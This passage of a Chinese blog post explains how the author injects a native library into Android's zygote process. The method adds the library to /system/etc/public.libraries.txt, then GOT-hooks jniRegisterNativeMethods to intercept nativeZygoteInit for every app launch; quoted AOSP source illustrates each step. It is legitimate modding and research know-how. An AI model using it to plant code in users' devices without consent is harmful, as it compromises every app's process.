class="comment">/*</span></span><br><span class="line"><span class="comment"> * Register android functions.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> (startReg(env) < <span class="number">0</span>) {</span><br><span class="line"> ALOGE(<span class="string">"Unable to register all android natives\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意startVm这个方法,我们点进去看看。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Start the Dalvik Virtual Machine.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Various arguments, most determined by system properties, are passed in.</span></span><br><span class="line"><span class="comment"> * The "mOptions" vector is updated.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * CAUTION: when adding options in here, be careful not to put the</span></span><br><span class="line"><span class="comment"> * char buffer inside a nested scope. Adding the buffer to the</span></span><br><span class="line"><span class="comment"> * options using mOptions.add() does not copy the buffer, so if the</span></span><br><span class="line"><span class="comment"> * buffer goes out of scope the option may be overwritten. It's best</span></span><br><span class="line"><span class="comment"> * to put the buffer at the top of the function so that it is more</span></span><br><span class="line"><span class="comment"> * unlikely that someone will surround it in a scope at a later time</span></span><br><span class="line"><span class="comment"> * and thus introduce a bug.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Returns 0 on success.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">int</span> AndroidRuntime::startVm(JavaVM** pJavaVM, JNIEnv** pEnv, <span class="keyword">bool</span> zygote)</span><br><span class="line">{</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Initialize the VM.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The JavaVM* is essentially per-process, and the JNIEnv* is per-thread.</span></span><br><span class="line"><span class="comment"> * If this call succeeds, the VM is ready, and we can start issuing</span></span><br><span class="line"><span class="comment"> * JNI calls.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> (JNI_CreateJavaVM(pJavaVM, pEnv, &initArgs) < <span class="number">0</span>) {</span><br><span class="line"> ALOGE(<span class="string">"JNI_CreateJavaVM failed\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>接下来看JNI_CreateJavaVM方法:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// JNI Invocation interface.</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> <span class="function">jint <span class="title">JNI_CreateJavaVM</span><span class="params">(JavaVM** p_vm, JNIEnv** p_env, <span class="keyword">void</span>* vm_args)</span> </span>{</span><br><span class="line"> <span class="function">ScopedTrace <span class="title">trace</span><span class="params">(__FUNCTION__)</span></span>;</span><br><span class="line"> <span class="keyword">const</span> JavaVMInitArgs* args = <span class="keyword">static_cast</span><JavaVMInitArgs*>(vm_args);</span><br><span class="line"> <span class="keyword">if</span> (IsBadJniVersion(args->version)) {</span><br><span class="line"> LOG(ERROR) << <span class="string">"Bad JNI version passed to CreateJavaVM: "</span> << args->version;</span><br><span class="line"> <span class="keyword">return</span> JNI_EVERSION;</span><br><span class="line"> }</span><br><span class="line"> RuntimeOptions options;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < args->nOptions; ++i) {</span><br><span class="line"> JavaVMOption* option = &args->options[i];</span><br><span class="line"> options.push_back(<span class="built_in">std</span>::make_pair(<span class="built_in">std</span>::<span class="built_in">string</span>(option->optionString), option->extraInfo));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">bool</span> ignore_unrecognized = args->ignoreUnrecognized;</span><br><span class="line"> <span class="keyword">if</span> (!Runtime::Create(options, ignore_unrecognized)) {</span><br><span class="line"> <span class="keyword">return</span> JNI_ERR;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Initialize native loader. This step makes sure we have</span></span><br><span class="line"> <span class="comment">// everything set up before we start using JNI.</span></span><br><span class="line"> android::InitializeNativeLoader();</span><br><span class="line"></span><br><span class="line"> Runtime* runtime = Runtime::Current();</span><br><span class="line"> <span class="keyword">bool</span> started = runtime->Start();</span><br><span class="line"> <span class="keyword">if</span> (!started) {</span><br><span class="line"> <span class="keyword">delete</span> Thread::Current()->GetJniEnv();</span><br><span class="line"> <span class="keyword">delete</span> runtime->GetJavaVM();</span><br><span class="line"> LOG(WARNING) << <span class="string">"CreateJavaVM failed"</span>;</span><br><span class="line"> <span class="keyword">return</span> JNI_ERR;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> *p_env = Thread::Current()->GetJniEnv();</span><br><span class="line"> *p_vm = runtime->GetJavaVM();</span><br><span class="line"> <span class="keyword">return</span> JNI_OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个函数不长,我就直接全部贴出来了。注意看android::InitializeNativeLoader(),这个函数直接调用了g_namespaces->Initialize(),而g_namespaces是一个LibraryNamespaces指针,继续看下去,我们发现了宝藏:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">Initialize</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">vector</span><<span class="built_in">std</span>::<span class="built_in">string</span>> sonames;</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* android_root_env = getenv(<span class="string">"ANDROID_ROOT"</span>);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> root_dir = android_root_env != <span class="literal">nullptr</span> ? android_root_env : <span class="string">"/system"</span>;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> public_native_libraries_system_config =</span><br><span class="line"> root_dir + kPublicNativeLibrariesSystemConfigPathFromRoot;</span><br><span class="line"></span><br><span class="line"> LOG_ALWAYS_FATAL_IF(!ReadConfig(public_native_libraries_system_config, &sonames),</span><br><span class="line"> <span class="string">"Error reading public native library list from \"%s\": %s"</span>,</span><br><span class="line"> public_native_libraries_system_config.c_str(), strerror(errno));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 省略无关代码</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// This file is optional, quietly ignore if the file does not exist.</span></span><br><span class="line"> ReadConfig(kPublicNativeLibrariesVendorConfig, &sonames);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// android_init_namespaces() expects all the public libraries</span></span><br><span class="line"> <span class="comment">// to be loaded so that they can be found by soname alone.</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// TODO(dimitry): this is a bit misleading since we do not know</span></span><br><span class="line"> <span class="comment">// if the vendor public library is going to be opened from /vendor/lib</span></span><br><span class="line"> <span class="comment">// we might as well end up loading them from /system/lib</span></span><br><span class="line"> <span class="comment">// For now we rely on CTS test to catch things like this but</span></span><br><span class="line"> <span class="comment">// it should probably be addressed in the future.</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">const</span> <span class="keyword">auto</span>& soname : sonames) {</span><br><span class="line"> dlopen(soname.c_str(), RTLD_NOW | RTLD_NODELETE);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public_libraries_ = base::Join(sonames, <span class="string">':'</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>public_native_libraries_system_config=/system/etc/public.libraries.txt,而ReadConfig方法很简单,读取传进来的文件路径,按行分割,忽略空行和以#开头的行,然后把这行push_back到传进来的vector里。<br>所以这个函数做了这几件事:</p><ol><li>读取/system/etc/public.libraries.txt和/vendor/etc/public.libraries.txt</li><li><strong>挨个dlopen这两个txt文件里提到的所有so库</strong></li></ol><p>注:这里分析的源码是7.0.0的,在7.0往后的所有版本(截至本文发布)你都能找到类似的逻辑。</p><p>知道了这件事注入zygote就好办多了嘛!只要把我们自己写的so库扔到/system/lib下面(64位是/syste/lib64),然后在/system/etc/public.libraries.txt里把我们自己的文件加上去,这样zygote启动的时候就会去加载我们的so库,然后我们写一个函数,加上__attribute__((constructor)),这样这个函数就会在so库被加载的时候被调用,我们就完成了注入逻辑;而且这个文件是一个txt文件,只需要追加一行文件名就行,即使厂商做了修改也不用担心,稳定性棒棒哒!</p><p>(注1:此方法是我看一篇博客时看见的,那篇博客吐槽“在public.libraries.txt里加上的so库竟然会在zygote启动时被加载,每次修改都要重启手机才能生效,多不方便调试”,但是他抱怨的特性却成为了我的曙光,可惜找不到那篇博客了,没法贴出来…)<br>(注2:在我大致完成了核心逻辑之后,我在EdXp的源码里发现了<a href="https://github.com/ElderDrivers/EdXposed/blob/master/edxp-whale/template_override/system/etc/public.libraries-edxp.txt" target="_blank" rel="noopener">这个文件</a> ;这个部分看起来是使用whale进行java hook的方案,但是我从来没有听说过有使用纯whale进行java hook的EdXp版本,并且我在install.sh中没有看见操作public.libraries.txt,所以不太懂他想用这个文件干什么 :( )</p><p>ok,现在我们完成了注入zygote进程的逻辑,刚完成的时候我想,完成了注入部分,ART Hook部分也有很多开源库,那么实现一个xposed不是很简单的事吗?果然我还是太年轻…</p><h2 id="监控应用进程启动"><a href="#监控应用进程启动" class="headerlink" title="监控应用进程启动"></a>监控应用进程启动</h2><p>前面我们注入了zygote进程,然而这样还不够,我们还需要监控应用进程启动并在应用进程执行代码才行。</p><p>刚开始我的想法很简单:直接在zygote里随便用art hook技术hook掉几个java方法;不过在我们的so库被加载的时候Runtime还没启动完成,没法拿到JNIEnv(就算拿到也用不了),这个也好办,native inline hook掉几个会在Runtime初始化完成时调用的函数就行,然并卵,提示无法分配可执行内存。</p><p>wtf??为什么分配内存会失败?内存满了?没对齐?最后终于发现这样一条log:</p><p><code>type=1400 audit(0.0:5): avc: denied { execmem } for scontext=u:r:zygote:s0 tcontext=u:r:zygote:s0 tclass=process permissive=0</code></p><p>上网查了一下,这条log代表zygote进程的context(u:r:zygote:s0)不允许分配可执行的匿名内存。这就麻烦了呀,很多事都做不了了(包括java方法的inline hook),想过很多办法(比如替换sepolicy),最后都被我否决了。那怎么办?最后打算去看EdXp的处理方式,没看见任何有关SELinux的部分,似乎是让magisk处理,不过我的是模拟器,没法装magisk。</p><p>这个问题困扰了我很久,最后,在Riru的源码里发现了另一种实现方案:通过GOT Hook拦截jniRegisterNativeMethods,然后就可以替换部分关键JNI函数。</p><p>简单来说,当发生跨ELF的函数调用时,会去.got表里查这个函数的绝对地址,然后再跳转过去,所以我们直接改这个表就能达到hook的目的,更多实现细节可以看<a href="https://github.com/iqiyi/xHook/blob/master/docs/overview/android_plt_hook_overview.zh-CN.md" target="_blank" rel="noopener">xhook的说明文档</a>。</p><p>这种方式的好处是不需要直接操作内存中的指令,不需要去手动分配可执行内存,所以不会受到SELinux的限制;缺点也很明显,如果人家不查.got表,就无法hook了。所以这种方式一般用于hook系统函数,比如来自libc的malloc, open等函数。</p><p>好了,GOT Hook并不是重点,接下来Riru使用xhook hook了libandroid_runtime.so对jniRegisterNativeMethods方法(来自libnativehelper.so)的调用,这样就能拦截一部分的JNI方法调用了。为什么说是<strong>一部分</strong>?因为另一部分JNI函数的实现在libart里,这一部分函数直接通过env->RegisterNativeMethods完成注册,所以无法hook。</p><p>之后riru在被替换的jniRegisterNativeMethods中动了一点小手脚:如果正在注册来自Zygote类的JNI方法,那么会把nativeForkSystemServer和nativeForkAndSpecialize替换成自己的实现,这样就能拦截system_server与应用进程的启动了!</p><p>Riru的这个方案非常好,但是还有优化空间:nativeForkAndSpecialize这个函数基本上每个版本都会变签名,而且各个厂商也会做修改,Riru的办法很简单:比对签名,如果签名不对那么就不会替换。不过,实际上我们并不需要那么精密的监控进程启动,让我们来找一下有没有其他的hook点。</p><p>大家都知道的,zygote进程最终会进入ZygoteInit.main,在main方法里fork出system_server,然后进入死循环接收来自AMS的请求fork出新进程。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String argv[])</span> </span>{</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="keyword">if</span> (startSystemServer) {</span><br><span class="line"> startSystemServer(abiList, socketName);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> Log.i(TAG, <span class="string">"Accepting command socket connections"</span>);</span><br><span class="line"> runSelectLoop(abiList);</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在startSystemServer里会fork出system_server,runSelectLoop中会进入死循环等待创建进程请求,然后fork出应用进程。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Prepare the arguments and fork for the system server process.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">startSystemServer</span><span class="params">(String abiList, String socketName)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> MethodAndArgsCaller, RuntimeException </span>{</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="comment">/* Request to fork the system server process */</span></span><br><span class="line"> pid = Zygote.forkSystemServer(</span><br><span class="line"> parsedArgs.uid, parsedArgs.gid,</span><br><span class="line"> parsedArgs.gids,</span><br><span class="line"> parsedArgs.debugFlags,</span><br><span class="line"> <span class="keyword">null</span>,</span><br><span class="line"> parsedArgs.permittedCapabilities,</span><br><span class="line"> parsedArgs.effectiveCapabilities);</span><br><span class="line"> <span class="comment">/* For child process */</span></span><br><span class="line"> <span class="keyword">if</span> (pid == <span class="number">0</span>) { <span class="comment">// 注:返回0代表子进程</span></span><br><span class="line"> <span class="keyword">if</span> (hasSecondZygote(abiList)) {</span><br><span class="line"> waitForSecondaryZygote(socketName);</span><br><span class="line"> }</span><br><span class="line"> handleSystemServerProcess(parsedArgs);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>点进去handleSystemServerProcess里看看:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Finish remaining work for the newly forked system server process.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">handleSystemServerProcess</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> ZygoteConnection.Arguments parsedArgs)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> ZygoteInit.MethodAndArgsCaller </span>{</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="keyword">if</span> (parsedArgs.invokeWith != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 走不进去,省略</span></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> ClassLoader cl = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">if</span> (systemServerClasspath != <span class="keyword">null</span>) {</span><br><span class="line"> cl = createSystemServerClassLoader(systemServerClasspath,</span><br><span class="line"> parsedArgs.targetSdkVersion);</span><br><span class="line"> Thread.currentThread().setContextClassLoader(cl);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Pass the remaining arguments to SystemServer.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> RuntimeInit.zygoteInit(parsedArgs.targetSdkVersion, parsedArgs.remainingArgs, cl);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>最终会进入RuntimeInit.zygoteInit(7.x,对于8.x与以上在ZygoteInit.zygoteInit),记住这一点</p><p>然后,应用进程的创建是在runSelectLoop()里,最后会通过ZygoteConnection.runOnce进行处理</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Reads one start command from the command socket. If successful,</span></span><br><span class="line"><span class="comment"> * a child is forked and a {<span class="doctag">@link</span> ZygoteInit.MethodAndArgsCaller}</span></span><br><span class="line"><span class="comment"> * exception is thrown in that child while in the parent process,</span></span><br><span class="line"><span class="comment"> * the method returns normally. On failure, the child is not</span></span><br><span class="line"><span class="comment"> * spawned and messages are printed to the log and stderr. Returns</span></span><br><span class="line"><span class="comment"> * a boolean status value indicating whether an end-of-file on the command</span></span><br><span class="line"><span class="comment"> * socket has been encountered.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> false if command socket should continue to be read from, or</span></span><br><span class="line"><span class="comment"> * true if an end-of-file has been encountered.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> ZygoteInit.MethodAndArgsCaller trampoline to invoke main()</span></span><br><span class="line"><span class="comment"> * method in child process</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">boolean</span> <span class="title">runOnce</span><span class="params">()</span> <span class="keyword">throws</span> ZygoteInit.MethodAndArgsCaller </span>{</span><br><span class="line"> <span class="comment">//忽略无关代码</span></span><br><span class="line"> pid = Zygote.forkAndSpecialize(parsedArgs.uid, parsedArgs.gid, parsedArgs.gids,</span><br><span class="line"> parsedArgs.debugFlags, rlimits, parsedArgs.mountExternal, parsedArgs.seInfo,</span><br><span class="line"> parsedArgs.niceName, fdsToClose, parsedArgs.instructionSet,</span><br><span class="line"> parsedArgs.appDataDir);</span><br><span class="line"> <span class="comment">// 忽略无关代码</span></span><br><span class="line"> <span class="keyword">if</span> (pid == <span class="number">0</span>) { <span class="comment">// 子进程</span></span><br><span class="line"> <span class="comment">// in child</span></span><br><span class="line"> IoUtils.closeQuietly(serverPipeFd);</span><br><span class="line"> serverPipeFd = <span class="keyword">null</span>;</span><br><span class="line"> handleChildProc(parsedArgs, descriptors, childPipeFd, newStderr);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// should never get here, the child is expected to either</span></span><br><span class="line"> <span class="comment">// throw ZygoteInit.MethodAndArgsCaller or exec().</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 忽略</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Handles post-fork setup of child proc, closing sockets as appropriate,</span></span><br><span class="line"><span class="comment"> * reopen stdio as appropriate, and ultimately throwing MethodAndArgsCaller</span></span><br><span class="line"><span class="comment"> * if successful or returning if failed.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> parsedArgs non-null; zygote args</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> descriptors null-ok; new file descriptors for stdio if available.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> pipeFd null-ok; pipe for communication back to Zygote.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> newStderr null-ok; stream to use for stderr until stdio</span></span><br><span class="line"><span class="comment"> * is reopened.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> ZygoteInit.MethodAndArgsCaller on success to</span></span><br><span class="line"><span class="comment"> * trampoline to code that invokes static main.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">handleChildProc</span><span class="params">(Arguments parsedArgs,</span></span></span><br><span class="line"><span class="function"><span class="params"> FileDescriptor[] descriptors, FileDescriptor pipeFd, PrintStream newStderr)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> ZygoteInit.MethodAndArgsCaller </span>{</span><br><span class="line"> <span class="comment">// 忽略无关代码 </span></span><br><span class="line"> <span class="keyword">if</span> (parsedArgs.invokeWith != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 走不进去,省略</span></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> RuntimeInit.zygoteInit(parsedArgs.targetSdkVersion,</span><br><span class="line"> parsedArgs.remainingArgs, <span class="keyword">null</span> <span class="comment">/* classLoader */</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最后也是通过RuntimeInit.zygoteInit(7.x,对于8.x与以上在ZygoteInit.zygoteInit)完成。点进去看看有没有hook点:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * The main function called when started through the zygote process. This</span></span><br><span class="line"><span class="comment"> * could be unified with main(), if the native code in nativeFinishInit()</span></span><br><span class="line"><span class="comment"> * were rationalized with Zygote startup.<p></span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Current recognized args:</span></span><br><span class="line"><span class="comment"> * <ul></span></span><br><span class="line"><span class="comment"> * <li> <code> [--] &lt;start class name&gt; &lt;args&gt;</span></span><br><span class="line"><span class="comment"> * </ul></span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> targetSdkVersion target SDK version</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> argv arg strings</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">void</span> <span class="title">zygoteInit</span><span class="params">(<span class="keyword">int</span> targetSdkVersion, String[] argv, ClassLoader classLoader)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> ZygoteInit.MethodAndArgsCaller </span>{</span><br><span class="line"> <span class="keyword">if</span> (DEBUG) Slog.d(TAG, <span class="string">"RuntimeInit: Starting application from zygote"</span>);</span><br><span class="line"></span><br><span class="line"> Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, <span class="string">"RuntimeInit"</span>);</span><br><span class="line"> redirectLogStreams();</span><br><span class="line"></span><br><span class="line"> commonInit();</span><br><span class="line"> nativeZygoteInit();</span><br><span class="line"> applicationInit(targetSdkVersion, argv, classLoader);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意到那个nativeZygoteInit没有!!很明显是个native方法,而且是我们可以hook到的native方法!!这样子我们就可以直接在jniRegisterNativeMethods里替换掉这个方法了!而且这个方法从7.0到10.0也只有过一次改变:从RuntimeInit搬到ZygoteInit,比nativeForkAndSpecialize稳得多。<br>(然而现在看来某些操作还是需要比较精细的监控的,以后再改吧)</p><h2 id="加载Xposed模块"><a href="#加载Xposed模块" class="headerlink" title="加载Xposed模块"></a>加载Xposed模块</h2><p>这一部分其实是最简单的,目前已经有很多开源的ART Hook库,拿来就能用,需要自己写的地方也不需要跟太久的系统函数调用。<br>目前是选择了<a href="https://github.com/ganyao114/SandHook" target="_blank" rel="noopener">SandHook</a>作为核心ART Hook库,主要是已经提供好了Xposed API,很方便。<br>然后是模块管理,因为没有那么多时间去弄,所以只是简单的把对应的配置文件设置成谁都能读,当然以后会优化。</p><h2 id="未来"><a href="#未来" class="headerlink" title="未来"></a>未来</h2><p>注:本段内容没有什么营养,可以直接跳过。</p><h3 id="编译打包自动化"><a href="#编译打包自动化" class="headerlink" title="编译打包自动化"></a>编译打包自动化</h3><p>对,目前连自动化打包都没实现,还是手动拿dex等等然后手动压缩进去…</p><h3 id="支持magisk安装"><a href="#支持magisk安装" class="headerlink" title="支持magisk安装"></a>支持magisk安装</h3><p>现在只支持通过安装脚本直接修改/system,如果能够支持magisk模块式安装会少很多麻烦,比如如果变砖了只需要用mm管理器把模块给删了就好了</p><h3 id="支持重要系统进程加载模块"><a href="#支持重要系统进程加载模块" class="headerlink" 